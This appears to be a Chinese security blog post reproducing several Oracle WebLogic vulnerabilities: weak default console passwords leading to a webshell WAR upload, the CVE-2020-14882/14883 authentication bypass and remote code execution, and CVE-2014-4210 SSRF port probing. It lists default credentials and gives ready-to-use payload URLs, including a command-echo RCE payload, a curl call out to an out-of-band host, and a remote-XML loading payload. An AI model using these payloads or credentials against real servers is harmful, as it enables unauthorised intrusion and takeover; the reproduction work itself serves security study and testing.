WebLogic 弱口令&文件上传&SSRF 漏洞复现
0x01 前言
将 WebLogic 一些其他漏洞全部放在这篇文章里面了,一共是以四个下漏洞
- CVE-2014-4210 SSRF
- CVE-2018-2894 任意文件上传
- CVE-2020-14882/CVE-2020-14883 未授权 RCE
- 弱口令 getshell
以复现为主,暂不分析;打算从易到难讲起
0x02 环境搭建
此处不再赘述,可以翻阅以往文章
0x03 弱口令 getshell
访问 WebLogic /console
接口,可能存在的弱口令如下
账户 | 密码 |
---|---|
system | password |
weblogic | weblogic |
guest | guest |
portaladmin | portaladmin |
admin | security |
joe | password |
mary | password |
system | security |
wlcsystem | wlcsystem |
wlcsystem | sipisystem |
更多的一些常见弱密码:
1 | weblogic1 |
注意一下不能使用 bp 抓包去爆破,错误密码5次之后就会自动锁定
这一个弱口令可以和任意文件上传漏洞联合起来打
漏洞复现
先使用弱口令登录,点击部署下的安装
选择“上载文件”
上传恶意的 war 包,这个恶意 war 包是由冰蝎生成,压缩为 zip 之后,将后缀名改为 .war 的
继续默认点击位于上方的下一步,直至遇到并点击完成
接着,启动我们之前部署的恶意 war 包
选择 “为所有请求提供服务”
正常启动之后,如下:
成功 getshell
0x04 CVE-2020-14882/CVE-2020-14883 未授权 RCE
先聊一聊未授权,后面再讲 RCE
影响版本
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
漏洞原理
- CVE-2020-14883:允许未授权的用户通过目录穿越结合双重 URL 编码的方式来绕过管理控制台的权限验证访问后台。
- CVE-2020-14882:允许后台任意用户通过 HTTP 协议执行任意命令。
漏洞复现
主要是以下两个 CVE 的组合利用,显示未授权访问后台,然后通过后台可以执行命令的接口实现 RCE。
CVE-2020-14883
正常情况下,没有登录 WebLogic 的话访问 console 后台就会直接 302 跳转到 /console/login/LoginForm.jsp
登录界面。
但是,通过目录穿越结合双重 URL 编码就能绕过认证实现未授权访问 console 后台:
对应的 payload 为
1 | /console/css/%252e%252e%252fconsole.portal |
其中 %252e%252e%252f
为二次 url 编码的 ../
,通过这个就可以实现穿越路径未授权访问相关管理后台。
访问后台后,发现和之前复现的弱密码登陆的页面不一样,之前的通过弱密码登陆管理员账号的界面有部署功能:
这时候就需要用到后台任意命令执行(CVE-2020-14883)了。
CVE-2020-14883
前面的 CVE 虽然可以访问后台,但是是低权限用户、无法安装应用,此处我们需要借助 CVE-2020-14883
这个漏洞的利用方式有两种,一是通过 com.tangosol.coherence.mvel2.sh.ShellSession
,二是通过 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
方式一
1 | com.tangosol.coherence.mvel2.sh.ShellSession |
但此利用方法只能在 Weblogic 12.2.1 及以上版本利用,因为 10.3.6 并不存在 com.tangosol.coherence.mvel2.sh.ShellSession
类。
直接访问如下URL,即可利用 com.tangosol.coherence.mvel2.sh.ShellSession
执行命令,下面是 dnslog 探测的 payload
1 | http://ip:7001/console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20vnmh1ymd4u6vz2lgrt60s6zid9jz7o.oastify.com');") |
有回显的 paylaod:
1 | /console/css/%252e%252e%252fconsole.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); |
执行的命令添加在 http 头部的 cmd 字段:
方式二
1 | com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext |
这是一种更为通杀的方法,最早在 CVE-2019-2725 被提出,对于所有 Weblogic 版本均有效。
首先,我们需要构造一个 XML 文件,并将其保存在 Weblogic 可以访问到的服务器上:
1 |
|
如果是 windows 可以尝试弹计算器,然后通过如下 URL,即可让 Weblogic 加载这个 XML,并执行其中的命令:
1 | /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml") |
但是该方法需要 Weblogic 的服务器能够访问到恶意 XML,在服务器不出网的时候无法利用。
0x05 CVE-2014-4210 SSRF
影响版本
- Oracle WebLogic Server 10.0.2, 10.3.6
漏洞原理
WebLogic 的 SearchPublicReqistries.jsp
接口存在 SSRF 漏洞,如果服务端或内网存在 Redis 未授权访问漏洞等则可以进一步打漏洞组合拳进行攻击利用。
漏洞代码如下,是比较容易看懂的
漏洞利用
SSRF 漏洞存在于 http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如 http://127.0.0.1:7001
:
1 | /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 |
探测 7001 端口结果如下,错误信息是
1 | weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error. |
探测 7000 端口结果如下
- 此时的错误信息是
1 | weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7000' |
根据两者不同的回显,可以用来探测资产
自动化检测 weblogic 的 ssrf(需要在当前目录下创建一个 domain.txt 文件,里面就写 Weblogic 的访问方式,保存为 check_weblogic_ssrf.py
)
domain.txt
1 | http://your-ip:7001/ |
check_weblogic_ssrf.py
1 | #!/usr/bin/env python |
0x06 CVE-2018-2894 任意文件上传
- 是一个比较简单的洞
影响版本
10.3.6,12.1.3,12.2.1.2,12.2.1.3
漏洞原理
weblogic如果开启了web服务测试页(默认不开启),则分别会在/ws_utc/begin.do以及/ws_utc/config.do这两个页面存在任意上传getshell漏洞
由于该设置默认不开启,所以此漏洞有一定的局限性
漏洞复现
登录上 console,点 base_domain
,在 “配置” -> “一般信息” -> “高级” 中开启 “启用 Web 服务测试页” 选项
我这里环境没跑起来,没发现存在 Web 服务检测页,有兴趣的师傅可以看一下 johnFord 师傅的文章
0x07 Reference
WebLogic弱口令getshell [ Mi1k7ea ]
浅析WebLogic任意文件上传(CVE-2018-2894) [ Mi1k7ea ]
浅析WebLogic SSRF(CVE-2014-4210) [ Mi1k7ea ]
浅析WebLogic未授权RCE(CVE-2020-14882/CVE-2020-14883) [ Mi1k7ea ]
https://johnfrod.top/%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%e5%a4%8d%e7%8e%b0/weblogic%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%ef%bc%88cve-2018-2894%ef%bc%89/
- 本文标题:WebLogic 弱口令&文件上传&SSRF
- 创建时间:2023-03-06 13:39:22
- 本文链接:2023/03/06/WebLogic-弱口令-文件上传-SSRF/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!